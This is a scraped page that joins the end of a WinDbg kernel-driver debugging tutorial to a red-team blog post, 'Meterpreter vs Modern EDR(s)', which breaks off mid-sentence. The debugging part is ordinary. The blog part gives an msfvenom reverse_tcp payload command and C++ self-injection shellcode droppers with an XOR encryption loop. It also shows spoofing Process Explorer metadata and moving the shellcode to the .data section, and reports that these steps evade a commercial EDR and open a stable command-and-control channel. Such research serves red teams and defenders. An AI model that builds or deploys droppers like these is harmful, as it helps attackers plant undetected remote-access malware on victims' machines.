want to Debug from early stages of Driver Execution, we must put a BreakPoint
on DriverEntry\(\) function.

So before starting starting the driver we must set a breakpoint in this way:

  

kd> bu module\!name

Assuming that driver is called Test.sys

  

kd> bu Test\!DriverEntry

Windbg still holds the control of the target machine, to release control just
press **F5** until you see 'Debuggae Running'. We can now Load the driver with
**OSROnline DriverLoader** :

<img src='img/Temp2_9585.gif' width='461' height='589' alt='File:Wdd dl.JPG'
/>

After loading it, guest machine is again frozen, because Windbg stopped
execution at DriverEntry point.

###  Organizing Work Space

Windbg is rich of views that can greatly improve debugging experience, here a
screenshot of most handy ones:

<img src='img/Temp2_9586.gif' width='200' height='112' />

###  Windbg Commands

In the following subparagraphs we will talk about Commands and Functionalities
of Windbg that could come handy during the analysis.

The essential aim of these paragraphs is not to give a complete syntax
description, but more easly to inform the reader about the existence of
certain features.

It's strongly suggested to people that wants further informations about Windbg
Commands to read **debugger.chm** help file, delivered with Debbugging Tools.

Some of the commands samples reported are taken from
**kerned\_debugging\_tutorial.doc** a file that can be found in the working
directory of Windbg.

####  Managing BreakPoints

The simples for of breakpoint is the **bp** one, that can be used in the
following forms:

kd> bp Module\!Name

or

kd> bp address

As you have previously seen, to break into our driver we used **bu** , this is
a **Deferred Breakpoint**.

If a breakpoint is set for a routine name that has not been loaded, the
breakpoint is called a **deferred** , **virtual** , or **unresolved**
breakpoint. Unresolved breakpoints are not associated with any specific load
of a module. Every time that a new application is loaded, it is checked for
this routine name. If this routine appears, the debugger computes the actual
coded address of the virtual breakpoint and enables the breakpoint.

If you set a breakpoint by using the bu command, the breakpoint is
automatically considered unresolved. If this breakpoint is in a loaded module,
the breakpoint is still enabled and functions normally. However, if the module
is later unloaded and reloaded, this breakpoint does not vanish. On the other
hand, a breakpoint that you set with **bp** is immediately resolved to an
address.

Should be now clear why we used in our sample an unresolved breakpoint instead
of bp.

We can also see all breakpoints we defined, via bl \(Breakpoint List Command\)

kd> bl

**e** stands for **enabled** and **d** for **disabled**.

Breakpoints can be disabled via **bd** \(**Breakpoint Disable**\)

kd> bd bp\_index

Otherwise can be permanently removed with **bc** \(**Breakpoint Clear**\)

kd> bc bp\_index

It's also truly important to mention **Conditional Breakpoints**. They cause a
break to occur only if a specific condition is satisfied.

A conditional breakpoint is created by combining a breakpoint command with
either the **j** \(**Execute If - Else**\) command or the **.if token** ,
followed by the **gc** \(**Go from Conditional Breakpoint**\) command.

Generically:

kd> bp Address "j \(Condition\) 'OptionalCommands'; 'gc' "

A pratical sample:

  

kd> bp mydriver\!myFunction "j @eax = 0xa3 '';'gc'"

or

kd> bp mydriver\!myFunction ".if @eax = 0xa3 \{\} .else \{gc\}"

Break on myFunction only if eax register is 0xa3.

It's also pretty interesting to put in evidence the fact that Windbg supports
per Process and per Thread break conditions.

bp /p 0x81234000 SIoctl\!SioctlDeviceControl+0x103

or

bp /t 0xff234000 SIoctl\!SioctlDeviceControl+0x103

Respectively, Stop at the indicated point only if the **EPROCESS** is at
0x81234000, and Stop at the indicated point only if the **ETHREAD** is at
0xFF234000.

####  Data Displaying

We can Display the content of a range of memory in various ways, commands
designed for that task have the following form:

d\* \[Options\] \[Range\]

  * **da** -> ASCII characters. 
  * **du** -> Unicode characters. 
  * **db** -> Byte values and ASCII characters. 
  * **dw** -> Word values \(2 bytes\). 
  * **dd** -> Double-word values \(4 bytes\). 

Thanks to Symbols support we can directly display also the values of local
variables:

  

dv \[Flags\] \[Pattern\]

From a pratical sample:

kd> dv Irp  
Irp = 0xff70fbc0

Pretty useful is also **dt** that displays information about a local variable,
global variable or data type. This can display information about simple data
types, as well as structures and unions.

kd> dt Irp  
Local var @ 0xf795bc48 Type \_IRP\*  
0xff70fbc0  
+0x000 Type : 6  
+0x002 Size : 0x94  
+0x004 MdlAddress : \(null\)

another very common way to use dt is:

kd> dt module\!struct

Example:

kd> dt nt\!\_ETHREAD

####  Data Editing

In the previous paragraph we have seen how to read data, but undoubtedly we
have to know also how to modify data.

For this scope, windbg offer us:

kd> e\* Address \[Values\]

pattern is similar to display command:

  * **eb** -> Byte values. 
  * **ew** -> Word values \(2 bytes\). 
  * **ed** -> Double-word values \(4 bytes\). 

If our editings needs require to fill entire blocks of memory with some static
pattern, we can use f \(fill\) command:

f Range Pattern

####  Examining a BugCheck

Investigating causes of a crash is a core aspect of driver debugging. We have
at disposition a pretty handy debugging extension called **\!analyze**. This
extension displays information about the current exception or bug check, most
common way to use it, is:

  

kd> \!analyze -v

\!analyze is a great starting point to investigate

  * **Live Debugging Issues**
  * **PostMortem \(DumpAnalysis\) Issues**

Here a quick real case of \!analyze usage:

  

Windows XP Version 2600 \(Service Pack 2\) UP Free x86 compatible  
Product: WinNt, suite: SingleUserTS  
Machine Name:  
Debug session time: Sun Feb 20 04:44:08.000 2011 \(UTC - 4:00\)  
System Uptime: not available  
Process Uptime: 245 days 0:21:09.000  
Kernel time: 0 days 0:00:02.000  
User time: 0 days 0:00:16.000  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\* \*  
\* Exception Analysis \*  
\* \*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
\*\*\* WARNING: Unable to verify timestamp for WPDShServiceObj.dll  
  
FAULTING\_IP:  
+1562faf0006ed48  
00000000 ?? ???  
  
EXCEPTION\_RECORD: ffffffff -- \(.exr 0xffffffffffffffff\)  
ExceptionAddress: 00000000  
ExceptionCode: 80000003 \(Break instruction exception\)  
ExceptionFlags: 00000000  
NumberParameters: 0  
  
FAULTING\_THREAD: 00000510  
DEFAULT\_BUCKET\_ID: STATUS\_BREAKPOINT  
PROCESS\_NAME: explorer.exe  
ERROR\_CODE: \(NTSTATUS\) 0x80000003 - \{EXCEPTION\} Breakpoint A breakpoint
has been reached.  
EXCEPTION\_CODE: \(HRESULT\) 0x80000003 \(2147483651\) - One or more arguments
are invalid  
MOD\_LIST:  
NTGLOBALFLAG: 0  
APPLICATION\_VERIFIER\_FLAGS: 0  
PRIMARY\_PROBLEM\_CLASS: STATUS\_BREAKPOINT  
BUGCHECK\_STR: APPLICATION\_FAULT\_STATUS\_BREAKPOINT  
LAST\_CONTROL\_TRANSFER: from 77d193f5 to 7c91eb94  
STACK\_TEXT:  
0007feec 77d193f5 7ca495ee 7c8092ac 000d6ef0 ntdll\!KiFastSystemCallRet  
0007ff08 7ca42c57 00000000 0007ff5c 01016e95 user32\!NtUserWaitMessage+0xc  
0007ff14 01016e95 000d6ef0 7ffd7000 0007ffc0
shell32\!SHDesktopMessageLoop+0x24  
0007ff5c 0101e2b6 00000000 00000000 0002063e explorer\!ExplorerWinMain+0x2d6  
0007ffc0 7c816d4f 00000002 5d4d3c48 7ffd7000 explorer\!ModuleEntry+0x6d  
0007fff0 00000000 0101e24e 00000000 00000000 kernel32\!BaseProcessStart+0x23  
STACK\_COMMAND: ~0s; .ecxr ; kb  
FOLLOWUP\_IP:  
explorer\!ExplorerWinMain+2d6  
01016e95 e97ac60000 jmp explorer\!ExplorerWinMain+0x2fd \(01023514\)  
SYMBOL\_STACK\_INDEX: 3  
SYMBOL\_NAME: explorer\!ExplorerWinMain+2d6  
FOLLOWUP\_NAME: MachineOwner  
MODULE\_NAME: explorer  
IMAGE\_NAME: explorer.exe  
DEBUG\_FLR\_IMAGE\_TIMESTAMP: 41107ece  
FAILURE\_BUCKET\_ID:
STATUS\_BREAKPOINT\_80000003\_explorer.exe\!ExplorerWinMain  
BUCKET\_ID:
APPLICATION\_FAULT\_STATUS\_BREAKPOINT\_explorer\!ExplorerWinMain+2d6

As you can see we have and handy summary of the Faulting Module plus Details
about the Fault. We have enough points to start an in depth analysis, here the
starting points that we should keep always in mind:

  * **Bucket ID**
  * **Stack Trace**
  * **Exception Parameters**

Let's see now the commands that can help us to analyze these points.

**Stack Backtrace** can be displayed with:

  

kd> k  
ChildEBP RetAddr  
f7428ba8 f889b54a SIoctl\!PrintIrpInfo+0x6
\[d:\winddk\3790.1824\src\general\ioctl\sys\sioctl.c @ 708\]  
f7428c3c 804e0e0d SIoctl\!SioctlDeviceControl+0xfa
\[d:\winddk\3790.1824\src\general\ioctl\sys\sioctl.c @ 337\]  
WARNING: Stack unwind information not available. Following frames may be
wrong.  
f7428c60 80580e2a nt\!IofCallDriver+0x33  
f7428d00 805876c2 nt\!CcFastCopyRead+0x3c3  
f7428d34 804e7a8c nt\!NtDeviceIoControlFile+0x28  
f7428d64 00000000 nt\!ZwYieldExecution+0xaa9

Now suppose that we are working on a MultiThreaded target, we can introduce at
this point **~** which is a Per-Thread-Identifier:

  * **~.** -> The current thread. 
  * **~\#** -> The thread that caused the current exception or debug event. 
  * **~\*** -> All threads in the process. 

In our case:

kd> ~\*k

Will show the stack backtrace of each thread, awesome isn't it? :\)

Exception analysis is another important aspect of fault analysis. The core
command is **.ecxr** that displays the context record that is associated with
the current exception. Please note that .ecxr is available on Crash Dumps only
\(minidumps\)

A dump can be created with **.dump** command:

  

kd> .dump Options FileName

Finally here a list of commands that could come really handy during debugging

Useful Commands

###  Debugger Extensions

Together with commands we have also a large set of **Extensions** , they are
of great help in case of **Well Defined Specific Debugging Scenarios**. Where
we can detect a well defined pattern, we can use or write extensions.

Extension commands are exposed by DLLs distinct from the debugger.

An extension is **Loaded** with:

kd> .load DLLName

and **Unloaded** with:

kd> .unload DLLName

To **List Loaded Extensions** :

kd> .chain

It's also pretty easy to distinguish between a classical command and an
extension:

  * **Commands** starts with **.**
  * **Extensions** starts with **\!**

Debugger extensions are invoked by the following syntax:

\!\[module.\]extension \[arguments\]

####  Handy Extensions

In this subparagraph we will see some available extension specific for Driver
Debugging.

The **\!process** extension displays information about the specified process,
or about all processes, including the EPROCESS block.

kd> \!process \[/s Session\] \[/m Module\] 0 Flags ImageName

and here a classical usage + output:

kd> \!process 0 0  
\*\*\*\* NT ACTIVE PROCESS DUMP \*\*\*\*  
PROCESS 80a02a60 Cid: 0002 Peb: 00000000 ParentCid: 0000  
DirBase: 00006e05 ObjectTable: 80a03788 TableSize: 150.  
Image: System  
PROCESS 80986f40 Cid: 0012 Peb: 7ffde000 ParentCid: 0002  
DirBase: 000bd605 ObjectTable: 8098fce8 TableSize: 38.  
Image: smss.exe  
PROCESS 80958020 Cid: 001a Peb: 7ffde000 ParentCid: 0012  
DirBase: 0008b205 ObjectTable: 809782a8 TableSize: 150.  
Image: csrss.exe

Pretty similar is the **\!thread** extension, that displays summary
information about a thread on the target system, including the ETHREAD block.

kd> \!thread \[-p\] \[-t\] \[Address \[Flags\]\]

The **\!drvobj** extension displays detailed information about a
DRIVER\_OBJECT.

kd> \!drvobj DriverObject \[Flags\]

The **\!devobj** extension displays detailed information about a
DEVICE\_OBJECT structure.

kd> \!devobj DeviceObject

The **\!irp** extension displays information about an I/O request packet
\(IRP\).

kd> \!irp Address \[Detail\]

The **\!handle** extension displays information about a handle or handles that
one or all processes in the target system own.

kd> \!handle \[Handle \[KMFlags \[Process \[TypeName\]\]\]\]

The **\!pool** extension displays information about a specific pool allocation
or about the entire system-wide pool.

kd> \!pool \[Address \[Flags\]\]

####  Driver Specific Extensions

Windows is composed by a wide range of drivers typologies, we have a number of
extensions designed to help in that sense, here a quick list:

  * **\!ndiskd** -> NDIS Debugging 
  * **\!wdfkd** -> Kernel-Mode Driver Framework Debugging 
  * **\!wudfext** -> User-Mode Driver Framework 

and so on, for a complete list you can check this link Specialized Extensions

###  Link Reference

  * OSROnline
  * Analyze-v
  * NtDebugging
  * WinDbg-Info
  * Collection of Links

  

##  The End

Here ends this little tutorial, again would like to put in evidence that this
is only a reference tutorial, intended to offer a path to guide an
hypothetical novice and give him, searching starting points.

Commands descriptions and output are taken from Microsoft Documentation.

Evilcry

# Meterpreter vs Modern EDR\(s\) - RedOps - English

**Created:**| _4/3/2023 3:33:13 PM_  
---|---  
**Updated:**| _4/3/2023 3:33:13 PM_  
**Author:**| __  
**Tags:**| __  
  

  

#  Meterpreter vs Modern EDR\(s\)

**tl;dr** Endpoint security continues to be a hot topic, with almost every
organisation deploying various products such as antivirus \(AV\), endpoint
protection \(EPP\) and endpoint detection and response \(EDR\) systems to
prevent or monitor the execution of malware. In recent years, a real game of
cat and mouse has developed between the red teamers \(attackers\) and the blue
teamers \(defenders\). Malicious attackers and Red Teamer alike keep finding
new ways to execute malware on the target computer unnoticed, but it usually
does not take long for the defenders or product manufacturers to improve.
Meanwhile, from an attacker's point of view, there are a number of different
techniques that can be used under Windows OS to enhance their own malware or
increase its legitimacy. Depending on the technique used, the implementation
can sometimes be complex, e.g. direct syscalls, indirect syscalls, hardware
breakpoints, etc.  
  
However, in this blog post I would like to show that even today \(March 2023\)
very simple modifications to a Meterpreter shellcode dropper can be sufficient
to bypass modern EDRs. To do this, we will step through three modifications to
a Meterpreter reference dropper and record the results in the context of EDR
evasion. The three modifications include simply encrypting the Meterpreter
shellcode with the XOR algorithm, adding legitimate metadata using a manifest
file, and moving the Meterpreter shellcode from the .text section to the .data
section.

  * Endpoint Detection and Response 
  * Endpoint Protection 
  * Antivirus 

Share

<img src='img/iStock-1248685118.jpg' width='576' height='394' />

### Introduction

When I talk about EDRs in this article, I mean a combination of endpoint
protection \(EPP\) and endpoint detection and response \(EDR\). I also want to
define the term "evasion" in the context of EDRs and malware. When I talk
about the fact that it is or has been possible to bypass the EDR, the term
"bypass" refers to the fact that no prevention and no detection has taken
place on the part of the EDR. However, the EDR continues to collect telemetry
data at the endpoint that can be used for active threat hunting.  
  
In the meantime, from the point of view of the attackers \(Red Team\), there
is a whole range of different techniques, such as direct system calls,
indirect system calls, API unhooking, etc., which can help us as Red Teamers
to evade detection by Endpoint Protection \(EPP\) and Endpoint Detection and
Response \(EDR\) systems. However, even if you add various evasion features to
your malware, e.g. shellcode dropper, the command and control framework \(C2\)
used or the respective shellcode often seems to be a certain limitation. With
modern Red Team C2s such as Nighthawk, Cobal Strike, Brute Ratel, etc., this
seems to be less of a problem, as the stager's shellcode or payload is already
equipped with very useful evasion features such as indirect syscalls, hardware
breakpoints, etc. by default.  
  
The situation is somewhat different with freely available frameworks such as
the Metasploit Framework \(MSF\), which can sometimes make it very difficult
to bypass modern EDRs in the context of command and control connections.
Whether and at what stage Meterpreter shellcode, or the execution of
Meterpreter shellcode, is detected by EDRs depends on various factors such as
signatures in the shellcode. Similarly, how the executed shellcode behaves in
memory can be important for detection by EDRs. For example, Metasploit or
Meterpreter shellcode in memory is detected by EDRs based on certain patterns.  
  
For example, if you look at legitimate areas of memory with Process Hacker,
you will see that they are of the type "Image" and also point to the
associated image. If you look at a meterpreter payload in memory, you will
notice that there are also some memory regions of type "private" that do not
refer to an image. For example, the 4kB meterpreter stager can be identified.
These types of memory regions are called "unbacked executable sections" and
are usually classified as malicious by EDRs.  
  
Similarly, from an EDR's point of view, it is rather unusual for a thread to
have, for example, memory areas in the .text \(code\) section marked as read
\(R\), write \(W\) and executable \(X\) at the same time. By default, the
.text section is a read-only section in the PE structure. When using a
Meterpreter payload, this does not apply in its entirety, because by using the
Windows API VirtualAlloc, certain areas are additionally marked as write \(W\)
and executable \(X\), or the affected memory area is marked as RWX in its
entirety \(PAGE\_EXECUTE\_READWRITE\).

<img src='img/msf_stager_pages.png' width='576' height='404' />

A simple self-injection dropper \(reference dropper\) in C++ is used as a base
or reference, which is then modified step by step. After each modification of
the reference dropper, it is determined whether the modification provides an
advantage in bypassing the tested EDR. The following three modifications will
be made to the reference dropper during the course of this article:

  1. **Shellcode encryption:** XOR encryption of the reference dropper's meterpreter shellcode
  2. **Metadata:** Add legitimate metadata to the XOR shellcode dropper using a manifest file
  3. **PE structure:** Move the metepreter shellcode from the .text section to the .data section in the PE structure

We also want to measure the entropy value of our dropper after each change.
Entropy is a measure of the randomness in a data set. In the context of
computer science and cybersecurity, Shannon entropy is most commonly used. In
general, a normal file has an ordered structure, low entropy and high density.
The structure of abnormal files \(malware\) tends to have high entropy and low
density. The entropy value can be or is used by EDRs to finally classify a
suspicious file as legitimate or malicious. Files with an entropy between 4.8
and 7.2 are more likely to be classified as legitimate by EDRs, while files
with an entropy above 7.2 are more likely to be classified as malicious.  
  
To learn more about entropy in the context of malware, see the following
article. The free version of pestudio was used to measure entropy.  
  
Out of respect for the EDR vendor, the name of the EDR is not mentioned.
However, readers are invited to perform the test with their own EDR.

### Meterpreter Reference Dropper

First we need to create our C++ reference dropper. So we start by creating a
staged meterpreter TCP payload with msfvenom. The -f parameter indicates that
we want our payload output in typical shellcode hex format.

[code]

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
[/code]

<img src='img/meterpreter_tcp_payload.png' width='576' height='194' />

The generated meterpreter shellcode in hex format can then be inserted into
the C++ POC and compiled.

[code]

    #include <stdio.h>
    #include <windows.h>
    
    int main() {
    
    	// Replace your MSF-Shellcode 
    	unsigned char code[] = "xfcx48x83xe4xf0xe8xccx00...";
    
    	// Allocate memory for MSF-Shellcode 
    	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    	// Copy MSF-Shellcode into the allocated memory 
    	memcpy(exec, code, sizeof code);
    
    	// Execute MSF-Shellcode in memory 
    	((void(*)())exec)();
    	return 0;
    
    }
[/code]

#### Technical Explanation Reference Dropper

  * We define the variable "code" within the main function, which stores our meterpreter shellcode. Since the variable is defined within the main function, it is declared as a local variable, with the shellcode stored in the .text \(code\) section, or in our case in .rdata, since the meterpreter stager is larger than 255 bytes \(thanks to **Paranoid Ninja** and **den18** for helping me out in that topic\!\). 

  * We define a pointer of type "void\*" with the variable "exec", which points to the Windows API VirtualAlloc and returns the start address of the allocated memory block.

  * The Windows API **VirtualAlloc** is used to allocate memory, a brief explanation of the parameters used in the function.
    * The first argument, "0", is a pointer to the start address of the memory block. In this case, we ask VirtualAlloc to determine the start address by passing a null pointer. 
    * The second argument, "sizeof code", specifies the size of the block of memory to allocate. As "code" is an array of bytes, the size of the array is calculated using the sizeof operator.
    * The third argument, "MEM\_COMMIT", instructs VirtualAlloc to allocate memory pages to the block, which means that physical memory is allocated. This ensures that the memory is available for use.
    * The fourth argument, "PAGE\_EXECUTE\_READWRITE", defines the memory protection for the allocated block. In this case the definition is read \(R\), write \(W\) and executable \(X\).

  * The **memcpy** function is called to copy the meterpreter shellcode from the "code" array into the allocated memory.
    * The first argument, "exec", is a pointer to the target memory block.
    * The second argument, "code", is a pointer to the source memory block.
    * The third argument, "sizeof code", specifies the number of bytes to copy.
  * The shell code is executed by calling the function pointer "\(\(void\(\*\)\(\)\)exec\)\(\)". With this syntax, the "exec" pointer is converted to a function pointer, then the function is called, and then the meterpreter shellcode is executed.

#### **Observations**

After copying the reference Meterpreter shellcode dropper to the hard drive of
the computer with EDR installed, the .exe was statically detected by the
tested **EDR** as expected, classified as malicious with a **high priority**
and quarantined. This result was to be expected as the standard Meterpreter
shellcode has unique static signatures and as such should be detected as
malicious by any modern EDR and prevented from running.

<img src='img/Flow_chart_msf_reference_dropper.png' width='576' height='238'
/>

As mentioned at the beginning, we always want to keep an eye on the entropy of
our shellcode dropper and use the free version of PE-Monitor to do this. In
this case, the **entropy** of the compiled reference dropper is **4.901**.

<img src='img/EDR_High_Alert_entropy.png' width='576' height='129' />

### Meterpreter Shellcode XOR-Encryption

In this section we start with the**first modification** of our reference
dropper. To prevent static detection of the meterpreter shellcode, we can try
encrypting the shellcode using the XOR algorithm. In general, encrypting the
shellcode increases the entropy of the dropper, but since we want to avoid
increasing it too much, we deliberately chose not to encrypt it with a
stronger algorithm like AES in this experiment.  
  
The following C++ code can be used to encrypt the meterpreter shellcode. It is
not the cleverest or most convenient, but it does the job and produces an XOR-
encrypted Meterpreter TCP shellcode as output.

[code]

    #include <stdio.h>
    #include <windows.h>
    
    int main()
    {
        unsigned char code[] = "xfcx48x83xe4xf0xe8xccx00...";
    
    	char key = 'ABCD';
    	int i = 0;
    	for (i; i < sizeof(code); i++)
    	{
    		printf("x%02x", code[i] ^ key);
    	}
[/code]

<img src='img/xor_encrypted_meterpreter_shellcode.png' width='576'
height='153' />

To be able to use the encrypted shellcode, we extend our reference dropper
with the XOR decryption part. The XOR-encrypted shellcode and the key used are
then inserted into the VS project.

[code]

    #include <stdio.h>
    #include <windows.h>
    
    int main() {
    
    	// Replace your XOR encrypted MSF-Shellcode 
    	unsigned char code[] = "xa6x12xd9xbexaaxb2x96...";
    
    	// Decrypt XOR encrpyted MSF-Shellcode
    	char key = 'ABCD';
    	int i = 0;
    	for (i; i < sizeof(code) - 1; i++)
    	{
    		code[i] = code[i] ^ key;
    	}
    
    	
    	// Allocate memory for the decrypted MSF-Shellcode 
    	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    	// Copy the MSF-Shellcode into the allocated memory 
    	memcpy(exec, code, sizeof code);
    
    	// Execute the decrypted MSF-Shellcode in memory 
    	((void(*)())exec)();
    	return 0;
    
    }
[/code]

#### **Observations**

Various observations could be made with the EDR tested. Interestingly, the XOR
encryption of the Meterpreter shellcode did not always seem to be sufficient
to bypass the static part of the EDR. Although the configuration of the EDR
was not changed between attempts, our dropper \(.exe\) was partially
intercepted by the static detection of the EDR and moved to quarantine.  
  
In some attempts, encrypting the Meterpreter shellcode with the XOR algorithm
appeared to be sufficient to bypass the static detection of the EDR. In these
cases \(best case\) our dropper was able to execute, but was detected by the
dynamic analysis of the EDR and an alert was raised with a **medium
priority**. In some cases \(worst case\) the Meterpreter dropper was still
statically detected by the EDR after execution and classified with a high
priority alert. Overall, however, a first small partial success can be
reported as the EDR was able to reduce the priority of the alert from **High
to Medium**.

<img src='img/Flow_chart_msf_first_modification.png' width='576' height='342'
/>

After our first modification of the reference dropper, we want to measure the
entropy of our compiled .exe again with pestudio. As expected, the entropy
increases slightly from 4.901 to **5.033** due to the encryption of the
Meterpreter shellcode.

<img src='img/EDR_XOR_Medium_Alert_entropy.png' width='576' height='128' />

### Metadata-Manifest

In the previous step, we had partial success with our EDR evasion experiment.
However, in some cases our Meterpreter shellcode dropper was statically
detected by the EDR and quarantined despite XOR encryption.  
  
The **second modification** to the Meterpreter reference dropper is to
investigate the effect of adding **legitimate metadata** in the form of a
**manifest file**. Simply put, with this modification we want our shellcode
dropper to gain some legitimacy from an EDR perspective. For this experiment,
the code from the previous step \(XOR encryption\) is not changed, we simply
add an empty manifest file to the Visual Studio project, which is then filled
with metadata. The manifest file can be added to the Visual Studio project as
a resource \(version\). In this case we use the metadata from Process Explorer
for our manifest \(sorry Mark for using the metadata from Process Explorer\).

<img src='img/VS_manifest_ressource.png' width='576' height='273' />

We can then recompile our Meterpreter shellcode dropper and see that our .exe
now has the metadata of the original procexp.exe. To make our dropper look
even more legitimate, we change the name of the dropper to **procexp.exe**.

<img src='img/manifest_procexp.png' width='356' height='311' />

#### **Observations**  

Again, although the configuration of the EDR was not changed between trials,
different observations could be made in several trials after the second
modification.  
  
In general, we can say that the addition of legitimate metadata has a positive
effect on our shellcode dropper \(from the attacker's point of view\), but in
detail there were clear differences. We recall that after the first
modification, where we encrypted the shellcode using the XOR algorithm, there
were still attempts where the meterpreter shellcode was statically captured by
the EDR. After adding the legitimate metadata to our dropper, we found that
the metadata had a positive effect on static EDR evasion. In other words,
although the dropper was statically captured by the XOR shellcode before,
after adding the metadata, the dropper was no longer statically captured by
the EDR. This is another small partial success, as the problem of static EDR
invasion has been solved for now.  
  
After running our dropper \(procexp.exe\), we also observed a different
behaviour of the EDR. In some experiments \(best case\) the metadata also
seemed to have a positive influence on the dynamic EDR invasion. That means,
the two modifications, XOR encryption and the addition of a legitimate
manifest file, were enough to bypass the well-known EDR with a meterpreter TCP
shellcode. In further attempts \(worst case\) - the EDR configuration was
again left unchanged - the dropper was able to execute, but was detected by
the EDR with a **low priority**. Even though the dropper was still partially
detected by the EDR after execution through dynamic detection mechanisms, we
can claim another small partial success as we were able to lower the priority
of the alert again, this time from **medium to low**.

<img src='img/Flow_chart_msf_second_modification.png' width='576' height='342'
/>

It was also observed that adding legitimate metadata in the form of a manifest
file reduced the entropy from 5.033 to **4.922**.

<img src='img/EDR_XOR_Manifest_Low_Alert_entropy.png' width='576' height='128'
/>

### From .text to .data

In the previous step, we achieved further partial successes. In the best case,
two modifications \(XOR and Manifest\) to our Meterpreter reference dropper
were enough to bypass the tested EDR and open a stable Command and Control
\(C2\) channel. In the worst case, our dropper was still detected and blocked
by the EDR after execution, but even in this case we were able to achieve
another partial success by reducing the EDR alarm from medium to low.  
  
The **third and final modification** to our dropper is to investigate the
effect on EDR bypassing of not defining the meterpreter shellcode as a local
variable inside the Main function as before, and thus storing it in the .text
\(code\) section of the PE structure. Instead, we define the shellcode
variable "code" outside the Main function and thus as a global variable, with
the shellcode stored in the .data section of the PE structure.

[code]

    #include <stdio.h>
    #include <windows.h>
    
        // Replace your XOR encrypted MSF-Shellcode
    	unsigned char code[] = "xa6x12xd9xbexaaxb2x96...";
    
    int main() {
    
    	// Decrypt XOR encrpyted MSF-Shellcode
    	char key = 'ABCD';
    	int i = 0;
    	for (i; i < sizeof(code) - 1; i++)
    	{
    		code[i] = code[i] ^ key;
    	}
    
    	
    	// Allocate memory for the decrypted MSF-Shellcode 
    	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    	// Copy the MSF-Shellcode into the allocated memory 
    	memcpy(exec, code, sizeof code);
    
    	// Execute the decrypted MSF-Shellcode in memory 
    	((void(*)())exec)();
    	return 0;
    
    }
[/code]

Once the third modification has been successfully made, i.e. the variable
"code" has been defined as a global variable, CFF Explorer can be used to
check whether the XORed Meterpreter shellcode is actually in the **.data
section**.

<img src='img/CFF_shellcode_in_data.png' width='576' height='428' />

#### **Observations**  

After the third modification of the Meterpreter shellcode dropper, the same
behaviour of the EDR could be observed in several attempts. The EDR did not
detect our Meterpreter shellcode dropper statically after copying the dropper
to disk, nor did it detect the dropper as malicious after execution. Even
after repeated execution at different time intervals, the Meterpreter dropper
\(XOR, manifest and .data\) was not detected by the EDR and a stable C2
channel could be established.  
  
Whether and why moving the Meterpreter shellcode from the .text section \(code
section\) or .rdata section to the .data section has a positive effect on the
evasion capabilities of our shellcode dropper is currently not entirely clear
and only the following assumptions can be made without claiming to be correct
or complete.

  * The EDR solution uses memory scanning techniques that are specifically designed to detect shellcode in the .text section, but not in the .data section. For example, the EDR may use signature-based detection techniques that are effective at detecting common shellcode patterns in the .text section, but may not be as effective at detecting the same shellcode in the .data section.
  * The .text section is normally a read-only memory area, while the .data section is read-write. If the EDR solution does not monitor write access to the .data section, it may not detect malicious shellcode written to this memory area.

<img src='img/Flow_chart_msf_third_modification.png' width='576' height='209'
/>

We also want to capture the entropy of our triple-modified shellcode dropper.
Interestingly, moving the Meterpreter shellcode to the .data section caused
the entropy to drop from 4.922 to **4.783**.

<img src='img/shellcode_in_data_section_entropy.png' width='576' height='129'
/>

### Summary

After the **reference dropper** was copied unchanged to the hard drive of the
computer with the EDR installed, detection was performed by the EDR based on
known signatures in the Meterpreter shellcode. The dropper \(.exe\) was
classified as **high priority** malicious and moved to quarantine.  
  
The **first modification** was a simple XOR encryption of the Meterpreter
shellcode and the POC of the reference dropper was extended to include the XOR
decryption part. Although no further modifications were made to the dropper
and the configuration of the EDR was not changed between experiments, we
obtained different results. In some results, the XOR encryption of the well-
known meterpreter shellcode was not sufficient and was still statically
detected by the EDR and given a high priority. In other tests with the same
EDR, the dropper was not statically detected. The dropper was able to run on
the target, but was then dynamically detected by the EDR. However, a first
partial success was recorded, as the EDR changed the priority of the alert
from **high to medium**.  
  
The **second modification** was to add legitimate Process Explorer metadata to
the XOR dropper in the form of a manifest file. Again, the EDR configuration
was not changed between experiments, but again, different results were
obtained. In the worst case, the metadata added to our dropper "only" had a
positive effect on bypassing the static detection of the EDR, and the dropper
was still detected by the EDR after execution. At best, the metadata in the
form of the manifest file also seemed to have a positive effect on bypassing
the EDR's dynamic detection. In other words, the dropper's execution was no
longer blocked by the EDR, and a stable Meterpreter command and control
channel could be opened. However, even though the addition of the procexp.exe
metadata only had a positive effect on the static EDR invasion as described
above, there was another partial success in that the EDR no longer prioritised
the dropper with medium, but with **low**.  
  
The **third and final modification** to our Meterpreter shellcode dropper was
to move the shellcode from the .text section to the .data section by declaring
the shellcode variable "code" in the C++ POC as a global variable instead of a
local one. Here we found that the third change was sufficient to
"**permanently** " bypass the EDR, despite simple self-injection and
meterpreter shellcode in our experiments.  
  
It was also interesting to observe that adding legitimate metadata
\(manifest\) and also moving the Meterpreter shellcode to the .data section in
the PE structure had a reducing effect on the entropy of the Meterpreter
dropper.

  * Reference Dropper with standard Meterpreter TCP shellcode -> **4.901  
**

  * Dropper after first modification \(XOR\) -> **5.033  
**

  * Dropper after second modification \(XOR and manifest\) -> **4.922  
**

  * Dropper after third modification \(XOR, manifest and .data\) -> **4.783  
  
**

Why it is possible today \(March 2023\) to "permanently" bypass the well-known
EDR with a simple meterpreter TCP payload cannot be clearly explained. My
guess is that the combination of the three modifications helps the dropper to
gain legitimacy and thus no longer be perceived as harmful by the EDR as a
whole. In my opinion, the entropy of the dropper also plays a crucial role. In
the case of the EDRs tested, I had the impression that if the entropy of the
malware is between 4.5 and 4.8, the probability of it not being detected as
